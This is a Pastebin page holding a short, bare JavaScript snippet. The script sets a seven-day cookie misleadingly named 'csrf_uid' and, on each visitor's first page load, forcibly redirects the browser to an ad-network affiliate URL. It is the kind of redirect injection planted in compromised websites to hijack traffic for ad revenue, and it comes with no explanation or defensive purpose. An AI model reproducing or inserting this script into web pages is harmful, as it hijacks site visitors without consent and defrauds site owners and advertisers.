Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function gotoAffiliateLink() {
- window.location.href = "https://go.ad2up.com/afu.php?id=473791";
- }
- function setCookie(prefix, str, value3, dataAndEvents) {
- var against = new Date;
- var defaultCenturyStart = new Date;
- if (value3 === null || value3 === 0) {
- value3 = 3;
- }
- defaultCenturyStart.setTime(against.getTime() + 36E5 * 24 * value3);
- document.cookie = prefix + "=" + escape(str) + ";expires=" + defaultCenturyStart.toGMTString() + (dataAndEvents ? "; path=" + dataAndEvents : "");
- }
- function getCookieValue(chunk) {
- var placed = document.cookie.indexOf(chunk + "=");
- var camelKey = placed + chunk.length + 1;
- if (!placed && chunk != document.cookie.substring(0, chunk.length)) {
- return null;
- }
- if (placed == -1) {
- return null;
- }
- var data = document.cookie.indexOf(";", camelKey);
- if (data == -1) {
- data = document.cookie.length;
- }
- return unescape(document.cookie.substring(camelKey, data));
- }
- if (navigator.cookieEnabled) {
- if (getCookieValue("csrf_uid") == 1) {
- } else {
- setCookie("csrf_uid", "1", "7", "/");
- if (document.loaded) {
- gotoAffiliateLink();
- } else {
- if (window.addEventListener) {
- window.addEventListener("load", gotoAffiliateLink, false);
- } else {
- window.attachEvent("load", gotoAffiliateLink);
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement